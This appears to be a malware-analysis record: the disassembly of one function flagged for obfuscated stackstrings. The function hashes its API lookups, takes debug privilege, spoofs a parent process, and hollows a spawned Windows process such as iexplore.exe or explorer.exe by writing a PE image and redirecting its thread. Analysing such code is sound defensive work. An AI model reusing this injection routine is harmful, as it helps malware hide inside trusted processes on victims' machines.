Function at 0x180077840
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4d8]
sub rsp, 0x5d8
mov r12, rcx
call fcn.1800776d0
mov edx, 0xa5b822e4
mov rcx, rax
mov rdi, rax
call fcn.180078970
mov edx, 0xfc26e024
mov qword [rbp + 0x108], rax
mov rcx, rdi
call fcn.180078970
mov edx, 0xd911e7b3
mov qword [rbp + 0x118], rax
mov rcx, rdi
call fcn.180078970
mov edx, 0x5a026254
mov rcx, rdi
call fcn.180078970
mov edx, 0x2625bfd1
mov rcx, rdi
mov r15, rax
call fcn.180078970
mov edx, 0xcc35be8e
mov rcx, rdi
call fcn.180078970
mov edx, 0x64a51f4a
mov rcx, rdi
call fcn.180078970
mov edx, 0xb192b48
mov rcx, rdi
call fcn.180078970
mov edx, 0xfc8afc82
mov qword [rbp + 0xc0], rax
mov rcx, rdi
call fcn.180078970
mov edx, 0x9b1504c4
mov qword [rbp + 0x130], rax
mov rcx, rdi
call fcn.180078970
mov edx, 0xd1f05c5
mov qword [rbp + 0xb8], rax
mov rcx, rdi
call fcn.180078970
mov edx, 0xf1bf6cd5
mov qword [rbp + 0x138], rax
mov rcx, rdi
call fcn.180078970
mov qword [rbp + 0x140], rax
call fcn.180077650
mov edx, 0x2265dbfb
mov rcx, rax
mov rbx, rax
call fcn.180078970
movdqa xmm0, xmmword [0x1800774c0]
mov ecx, 0x976700b5
movdqu xmmword [rbp + 0x98], xmm0
mov rdi, rax
mov dword [rbp + 0xa8], 0x72747441
mov dword [rbp + 0xac], 0x74756269
mov word [rbp + 0xb0], 0x65
call fcn.1800788d0
mov rcx, rax
lea rdx, [rbp + 0x98]
call rdi
mov edx, 0xe1da529e
mov rcx, rbx
mov r13, rax
call fcn.180078970
mov edx, 0xa7b8a51d
mov qword [rbp + 0xf8], rax
mov rcx, rbx
call fcn.180078970
mov edx, 0xbfb9cbe1
mov qword [rbp + 0x120], rax
mov rcx, rbx
call fcn.180078970
mov edx, 0xdf1da841
mov qword [rbp + 0x128], rax
mov rcx, rbx
call fcn.180078970
mov edx, 0xc7335cff
mov rcx, rbx
call fcn.180078970
mov edx, 0x2cac8294
mov qword [rbp + 0xe8], rax
mov rcx, rbx
call fcn.180078970
xor eax, eax
mov dword [rbp + 0x10], 0x3a0043
mov dword [rbp + 0x14], 0x50005c
lea rdi, [rbp + 0x80]
mov dword [rbp + 0x18], 0x6f0072
mov edx, 0x70
mov dword [rbp + 0x1c], 0x720067
xor ebx, ebx
mov dword [rbp + 0x20], 0x6d0061
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rbp + 0x24], 0x460020
lea rdi, [rbp + 0x190]
mov dword [rbp + 0x28], 0x6c0069
mov ecx, edx
rep stosb byte [rdi], al
movsxd rdi, dword [r12 + 0x3c]
mov dword [rbp + 0x2c], 0x730065
add rdi, r12
mov dword [rbp + 0x30], 0x280020
mov dword [rbp + 0x34], 0x380078
mov dword [rbp + 0x38], 0x290036
mov dword [rbp + 0x3c], 0x49005c
mov dword [rbp + 0x40], 0x74006e
mov dword [rbp + 0x44], 0x720065
mov dword [rbp + 0x48], 0x65006e
mov dword [rbp + 0x4c], 0x200074
mov dword [rbp + 0x50], 0x780045
mov dword [rbp + 0x54], 0x6c0070
mov dword [rbp + 0x58], 0x72006f
mov dword [rbp + 0x5c], 0x720065
mov dword [rbp + 0x60], 0x69005c
mov dword [rbp + 0x64], 0x6c0065
mov dword [rbp + 0x68], 0x77006f
mov dword [rbp + 0x6c], 0x740075
mov dword [rbp + 0x70], 0x6c0069
mov dword [rbp + 0x74], 0x65002e
mov dword [rbp + 0x78], 0x650078
mov word [rbp + 0x7c], bx
mov dword [rbp - 0x28], 0x3a0043
mov dword [rbp - 0x24], 0x5c005c
mov dword [rbp - 0x20], 0x690057
mov dword [rbp - 0x1c], 0x64006e
mov dword [rbp - 0x18], 0x77006f
mov dword [rbp - 0x14], 0x5c0073
mov dword [rbp - 0x10], 0x53005c
mov dword [rbp - 0xc], 0x730079
mov dword [rbp - 8], 0x4f0057
mov dword [rbp - 4], 0x360057
mov dword [rbp], 0x5c0034
mov word [rbp + 4], bx
mov dword [rbp + 0x190], edx
mov dword [rbp + 0x1cc], 1
mov qword [rbp + 0xf0], rbx
mov eax, dword [rdi + 0x34]
mov qword [rbp + 0x538], rax
mov eax, dword [rdi + 0x50]
mov qword [rbp + 0x100], rax
mov eax, dword [rdi + 0x54]
mov qword [rbp + 0x110], rax
call fcn.180077650
mov edx, 0x98e9f007
mov rcx, rax
mov r14, rax
call fcn.180078970
lea rcx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x640061
mov dword [rbp - 0x7c], 0x610076
mov dword [rbp - 0x78], 0x690070
mov dword [rbp - 0x74], 0x320033
mov dword [rbp - 0x70], 0x64002e
mov dword [rbp - 0x6c], 0x6c006c
mov word [rbp - 0x68], bx
call rax
mov rbx, rax
mov edx, 0x1ffd98b5
mov rcx, rax
call fcn.180078970
mov edx, 0x274dea56
mov rcx, rbx
mov rsi, rax
call fcn.180078970
mov edx, 0x55f7834d
mov qword [rbp - 0x58], rax
mov rcx, r14
call fcn.180078970
mov edx, 0xa3c17e45
mov rcx, rbx
mov r14, rax
call fcn.180078970
xor ecx, ecx
mov word [rbp + 0x534], 0x500
mov rbx, rax
mov dword [rbp + 0x520], ecx
lea rax, [rbp - 0x60]
mov qword [rbp - 0x60], rcx
mov qword [rsp + 0x50], rax
mov r9d, 0x220
mov dword [rsp + 0x48], ecx
lea r8d, [rcx + 0x20]
mov dword [rsp + 0x40], ecx
mov dl, 2
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], ecx
mov dword [rbp + 0x530], ecx
lea rcx, [rbp + 0x530]
call rsi
test eax, eax
je 0x180077c66
mov rdx, qword [rbp - 0x60]
lea r8, [rbp + 0x520]
xor ecx, ecx
call qword [rbp - 0x58]
test eax, eax
jne 0x180077c69
call r14
mov rcx, qword [rbp - 0x60]
test rcx, rcx
je 0x180077c74
call rbx
cmp dword [rbp + 0x520], 0
je 0x180077f5a
lea rcx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x610074
mov dword [rbp - 0x7c], 0x6b0073
xor ebx, ebx
mov dword [rbp - 0x78], 0x67006d
mov dword [rbp - 0x74], 0x2e0072
mov dword [rbp - 0x70], 0x780065
mov dword [rbp - 0x6c], 0x65
call fcn.180077750
mov dword [rbp + 0x520], eax
mov dword [rbp - 0x50], 0x650053
mov dword [rbp - 0x4c], 0x650044
mov dword [rbp - 0x48], 0x750062
mov dword [rbp - 0x44], 0x500067
mov dword [rbp - 0x40], 0x690072
mov dword [rbp - 0x3c], 0x690076
mov dword [rbp - 0x38], 0x65006c
mov dword [rbp - 0x34], 0x650067
mov word [rbp - 0x30], bx
call fcn.1800776d0
mov rsi, rax
call fcn.180077650
mov edx, 0x98e9f007
mov rcx, rax
call fcn.180078970
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x640061
mov dword [rsp + 0x64], 0x610076
mov dword [rsp + 0x68], 0x690070
mov dword [rsp + 0x6c], 0x320033
mov dword [rsp + 0x70], 0x64002e
mov dword [rsp + 0x74], 0x6c006c
mov word [rsp + 0x78], bx
call rax
mov edx, 0xce2d2327
mov rcx, rax
mov rbx, rax
call fcn.180078970
mov edx, 0xe530ab80
mov qword [rbp + 0xd8], rax
mov rcx, rbx
call fcn.180078970
mov edx, 0xf26e1103
mov rcx, rsi
mov rbx, rax
call fcn.180078970
mov edx, 0xf1bf6cd5
mov rcx, rsi
mov r14, rax
call fcn.180078970
mov rsi, rax
lea r8, [rbp - 0x60]
xor eax, eax
lea rdx, [rbp - 0x50]
xor ecx, ecx
mov qword [rbp + 0x530], rax
mov qword [rbp - 0x60], rax
call rbx
test eax, eax
jne 0x180077e94
mov rcx, qword [rbp + 0x530]
call rsi
xor r14d, r14d
mov eax, dword [rbp + 0x520]
lea r9, [rbp + 0xc8]
xorps xmm0, xmm0
mov qword [rbp + 0xc8], rax
lea r8, [rbp + 0x158]
mov qword [rbp - 0x58], r14
mov edx, 0x1fffff
mov dword [rbp + 0x158], 0x30
lea rcx, [rbp - 0x58]
mov dword [rbp + 0x170], r14d
movdqu xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0xd0], r14
movups xmmword [rbp + 0x178], xmm0
call qword [rbp + 0xb8]
test eax, eax
jne 0x1800782ab
call fcn.180077650
mov edx, 0xa65d4219
mov rcx, rax
call fcn.180078970
mov ecx, 0x7a
call rax
mov rax, qword gs:[0x30]
mov edx, 8
mov rcx, qword [rax + 0x60]
lea r8d, [rdx + 0x40]
mov rcx, qword [rcx + 0x30]
call qword [rbp + 0xc0]
mov rbx, rax
mov qword [rbp + 0x1f8], rax
call fcn.180077650
mov edx, 0xa65d4219
mov rcx, rax
call fcn.180078970
test rbx, rbx
je 0x180077f0d
mov dword [rbx], r14d
mov qword [rbx + 0x10], r14
mov qword [rbx + 4], 2
jmp 0x180077f14
mov rax, qword [rbp - 0x60]
lea r8, [rbp + 0x530]
mov edx, 0xf01ff
mov qword [rbp + 0x14c], rax
mov rcx, 0xffffffffffffffff
mov dword [rbp + 0x148], 1
mov dword [rbp + 0x154], 2
call r14
test eax, eax
js 0x180077dbf
mov rcx, qword [rbp + 0x530]
lea r8, [rbp + 0x148]
xor r14d, r14d
xor r9d, r9d
mov qword [rsp + 0x28], r14
xor edx, edx
mov qword [rsp + 0x20], r14
call qword [rbp + 0xd8]
test eax, eax
jne 0x180077dc2
mov rcx, qword [rbp + 0x530]
call rsi
jmp 0x180077dc2
mov ecx, 0x7a
call rax
mov rcx, qword [rbp + 0x1f8]
lea r9, [rbp - 0x58]
mov qword [rsp + 0x30], r14
xor edx, edx
mov qword [rsp + 0x28], r14
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
call r13
movabs rax, 0x101000000000
lea r9, [rbp + 0xe0]
mov qword [rbp + 0xe0], rax
jmp 0x1800780b3
xor r14d, r14d
mov dword [rsp + 0x60], 0x780065
lea rcx, [rsp + 0x60]
mov word [rsp + 0x78], r14w
mov dword [rsp + 0x64], 0x6c0070
mov dword [rsp + 0x68], 0x72006f
mov dword [rsp + 0x6c], 0x720065
mov dword [rsp + 0x70], 0x65002e
mov dword [rsp + 0x74], 0x650078
call fcn.180077750
xorps xmm0, xmm0
mov eax, eax
lea r9, [rbp + 0xc8]
mov qword [rbp + 0xc8], rax
lea r8, [rbp + 0x158]
mov qword [rbp + 0x520], r14
mov edx, 0x1fffff
mov dword [rbp + 0x158], 0x30
lea rcx, [rbp + 0x520]
mov dword [rbp + 0x170], r14d
movdqu xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0xd0], r14
movups xmmword [rbp + 0x178], xmm0
call qword [rbp + 0xb8]
test eax, eax
jne 0x1800782ab
call fcn.180077650
mov edx, 0xa65d4219
mov rcx, rax
call fcn.180078970
lea ecx, [r14 + 0x7a]
call rax
mov rax, qword gs:[0x30]
lea edx, [r14 + 8]
lea r8d, [r14 + 0x48]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [rbp + 0xc0]
mov rbx, rax
mov qword [rbp + 0x1f8], rax
call fcn.180077650
mov edx, 0xa65d4219
mov rcx, rax
call fcn.180078970
test rbx, rbx
je 0x180078068
mov dword [rbx], r14d
mov qword [rbx + 0x10], r14
mov qword [rbx + 4], 2
jmp 0x18007806f
mov ecx, 0x7a
call rax
mov rcx, qword [rbp + 0x1f8]
lea r9, [rbp + 0x520]
mov qword [rsp + 0x30], r14
xor edx, edx
mov qword [rsp + 0x28], r14
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
call r13
movabs rax, 0x101000000000
lea r9, [rbp + 0x530]
mov qword [rbp + 0x530], rax
mov rcx, qword [rbp + 0x1f8]
mov r8d, 0x20007
mov qword [rsp + 0x30], r14
xor edx, edx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], 8
call r13
call qword [rbp + 0xe8]
xor r9d, r9d
lea rdx, [rbp + 0x10]
mov r8, rax
xor ecx, ecx
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x58], rax
lea rax, [rbp + 0x80]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x190]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], 0x808040c
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r14
call qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x80]
lea r9, [rbp + 0x100]
xor r8d, r8d
mov dword [rsp + 0x28], 4
lea rdx, [rbp + 0x538]
mov dword [rsp + 0x20], 0x3000
call qword [rbp + 0x108]
mov r9d, dword [rdi + 0x54]
mov r8, r12
mov rdx, qword [rbp + 0x538]
mov rcx, qword [rbp + 0x80]
mov qword [rsp + 0x20], r14
call r15
mov rcx, qword [rbp + 0x80]
lea rax, [rbp + 0x528]
mov r9d, 2
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x110]
lea rdx, [rbp + 0x538]
call qword [rbp + 0x118]
mov esi, r14d
cmp r14w, word [rdi + 6]
jae 0x1800781fc
mov rbx, r14
nop dword [rax]
movzx eax, word [rdi + 0x14]
mov rcx, qword [rbp + 0x80]
add rax, rbx
mov qword [rsp + 0x20], r14
mov r8d, dword [rax + rdi + 0x2c]
mov edx, dword [rax + rdi + 0x24]
add r8, r12
add rdx, qword [rbp + 0x538]
mov r9d, dword [rax + rdi + 0x28]
call r15
movzx eax, word [rdi + 6]
inc esi
add rbx, 0x28
cmp esi, eax
jl 0x1800781c0
mov rcx, qword [rbp + 0x88]
lea rdx, [rbp + 0x200]
mov dword [rbp + 0x200], 0x10000b
call qword [rbp + 0x120]
mov edx, dword [rbp + 0x2a4]
lea r8, [rdi + 0x34]
mov rcx, qword [rbp + 0x80]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], r14
call r15
mov ecx, dword [rdi + 0x28]
lea rdx, [rbp + 0x200]
add ecx, dword [rbp + 0x538]
mov dword [rbp + 0x2b0], ecx
mov rcx, qword [rbp + 0x88]
call qword [rbp + 0x128]
mov rcx, qword [rbp + 0x88]
xor edx, edx
call qword [rbp + 0x130]
mov rax, qword gs:[0x30]
mov edx, 8
mov r8, qword [rbp + 0x1f8]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [rbp + 0x138]
mov rcx, qword [rbp + 0x88]
mov rdi, qword [rbp + 0x140]
call rdi
mov rcx, qword [rbp + 0x80]
call rdi
xor eax, eax
add rsp, 0x5d8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret